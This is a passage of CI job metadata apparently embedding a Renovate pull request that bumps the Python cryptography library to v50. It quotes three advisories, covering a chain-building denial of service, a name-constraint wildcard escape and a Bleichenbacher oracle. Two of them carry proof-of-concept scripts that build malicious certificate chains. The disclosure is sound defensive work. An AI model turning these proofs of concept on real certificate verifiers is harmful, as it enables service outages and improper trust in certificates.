          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwv3-5hgf-82ww)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nIf an intermediate
          constrained CA permits the DNS name `foo.example.com`, and the leaf certificate
          has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's
          verifier accepts which allows escaping outside of the permitted names.\n\n#####
          PoC\n\n```\n\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches
          admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint:
          dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected:
          rejection (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved:
          pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative
          for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport
          datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import
          NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`pkcs7_decrypt_der`,
          `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of
          decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable
          ways, one of which disclosed the exact length recovered from the\nRSA operation.
          The same distinction was also observable by timing. An\napplication that
          decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives
          the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced
          in 44.0.0. Fixed in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1
          v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result
          \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently,
          with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption
          failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for
          AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding
          bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where
          the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL,
          and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead
          returns a synthetic plaintext of\npseudorandom length, so the error channel
          does not distinguish conforming\nciphertexts.\n\nExploitation requires a
          service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim
          certificate and answers adaptively at high volume, such as\nan S/MIME gateway
          or mail filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm
          is now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g6cj-pr64-35w5)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about this update again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/container-image-kolla-ansible).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbInJlbm92YXRlIl19-->\n"
        change_url: https://github.com/osism/container-image-kolla-ansible/pull/937
        commit_id: 1b0407bb71c76bad0378e9165a927c0f931cb84b
        patchset: 1b0407bb71c76bad0378e9165a927c0f931cb84b
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/container-image-kolla-ansible
          name: osism/container-image-kolla-ansible
          short_name: container-image-kolla-ansible
        src_dir: src/github.com/osism/container-image-kolla-ansible
        topic: null
      change: '937'
      change_message: "Update dependency cryptography to v50 [SECURITY]\n\nThis PR
        contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
        | `==48.0.1` \u2192 `==50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/48.0.1/50.0.0?slim=true)
        |\n\n---\n\n### python-cryptography: Duplicate self-signed intermediates can
        cause exponential path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
        / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nWhen resolving invalid
        certificate chains that include duplicate copies of self-signed certificates,
        the processing recursively invokes the same candidate, leading to an exponential
        blowup. Although the limitation that the chain depth cannot exceed a specified
        maximum depth prevents unbounded recursion and guarantees termination, an
        attacker-controlled certificate chain can lead the processing to easily take
        more than 5s to reject in testing. This amplification could form the basis
        for a resource exhaustion denial of service attack.\n\nThis work was completed
        by Trail of Bits as part of the Patch The Planet project in collaboration
        with OpenAI. The finding was identified primarily by the Codex coding agent,
        and manually reviewed before submission. \n\n##### Details\nThe core issue
        arises in the recursive nature of `build_chain_inner`, which does not de-duplicate
        against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
        \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
        \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
        \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
        \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let Some(nc)
        = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(&nc.value()?,
        budget)?;\n        }\n\n        // Look in the store's root set to see if
        the working cert is listed.\n        // If it is, we've reached the end.\n
        \       if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
        \       }\n\n        // Check that our current depth does not exceed our policy-configured\n
        \       // max depth. We do this after the root set check, since the depth\n
        \       // only measures the intermediate chain's length, not the root or
        leaf.\n        if current_depth > self.policy.max_chain_depth {\n            return
        Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain
        construction exceeds max depth\".into(),\n            )));\n        }\n\n
        \       // Otherwise, we collect a list of potential issuers for this cert,\n
        \       // and continue with the first that verifies.\n        let mut last_err:
        Option<ValidationError<'_, B>> = None;\n        for issuing_cert_candidate
        in self.potential_issuers(working_cert) {\n            // A candidate issuer
        is said to verify if it both\n            // signs for the working certificate
        and conforms to the\n            // policy.\n            let issuer_extensions
        = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n
        \               issuing_cert_candidate,\n                working_cert,\n                current_depth,\n
        \               &issuer_extensions,\n            ) {\n                Ok(_)
        => {\n                    match self.build_chain_inner(\n```\n\nA sufficient
        patch is to track valid issuers, and to skip seen ones before recursing. By
        tracking valid issuers only, validation and custom extension-policy callbacks
        still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain,
        B>>::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert)
        {\n          . . .\n                  Ok(_) => {\n                      if
        seen_valid_issuers.contains(&issuing_cert_candidate) {\n                         continue;\n
        \                     }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
        \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
        \                         // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn
        testing, this fix removed the exponential blowup without breaking apparent
        correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
        -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
        -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
        -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
        \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
        PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport
        datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom
        cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom
        cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid
        import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import
        (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
        = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE
        = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
        \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
        \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE
        = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
        \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
        \   key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n
        \   decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n
        \   return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n
        \       .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n
        \       .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW
        + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n
        \   private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n
        \   cert = (\n        base_builder(subject, subject, private_key.public_key(),
        serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None),
        True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
        \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
        \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
        \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
        \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
        \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
        100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
        True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
        False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
        \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
        False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
        \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
        unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
        looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
        max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
        \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
        \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
        \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
        [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
        \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
        - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
        \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
        max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
        \   if process.is_alive():\n        process.terminate()\n        process.join()\n
        \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
        \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
        __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
        \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6,
        6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes an
        amplification pathway over data that in many applications may be user-controlled,
        leading to the possibility of a denial of service through resource exhaustion.
        As the correctness of validation is not affected, the integrity of a system
        cannot be compromised through this vector, only its availability.\n\n####
        Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
        [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
        [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwv3-5hgf-82ww)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        python-cryptography verifier accepts wildcard DNS names allowing escape from
        permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
        / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nIf an intermediate constrained
        CA permits the DNS name `foo.example.com`, and the leaf certificate has a
        wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier
        accepts which allows escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
        python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
        wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
        \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
        (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
        further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
        and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
        cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
        cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
        import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
        Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
        1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
        build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
        \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
        \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
        - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
        path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
        c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
        = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
        = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
        = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
        \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n#####
        Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk =
        ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
        = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol =
        ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
        Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
        \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n
        \   .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
        ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
        \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
        though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
        as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
        of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
        Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
        [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
        [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
        through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
        / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\n`pkcs7_decrypt_der`,
        `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of decrypting
        a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable ways, one of
        which disclosed the exact length recovered from the\nRSA operation. The same
        distinction was also observable by timing. An\napplication that decrypts attacker-supplied
        `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher
        oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed
        in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt
        of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC
        decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218
        mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid
        padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing
        `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the
        real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library
        lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On
        OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a synthetic
        plaintext of\npseudorandom length, so the error channel does not distinguish
        conforming\nciphertexts.\n\nExploitation requires a service that auto-decrypts
        untrusted `EnvelopedData`\nmatching the victim certificate and answers adaptively
        at high volume, such as\nan S/MIME gateway or mail filter.\n\n##### Fix\n\nPer
        RFC 3218, the content-encryption algorithm is now resolved before the\nprivate
        key is used, so the expected key length is known in advance. If the RSA\ndecryption
        fails or recovers a key of the wrong length, a random key of the\nexpected
        length is substituted and decryption continues down an identical path.\nAll
        failures now report identically and perform the same work.\n\n##### Not addressed
        by this fix\n\n`EnvelopedData` does not authenticate its content. Tampering
        with\n`encryptedContent` alone yields a CBC padding oracle that recovers plaintext
        at\nroughly 256 queries per byte, without recovering any key, on every backend.
        This\nis a property of PKCS#7 rather than of this implementation, cannot be
        fixed in\nthe library, and is now documented.\n\n##### Credit\n\nReported
        by @&#8203;X1AOxiang.\n\n#### Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector
        String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
        [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
        [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g6cj-pr64-35w5)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
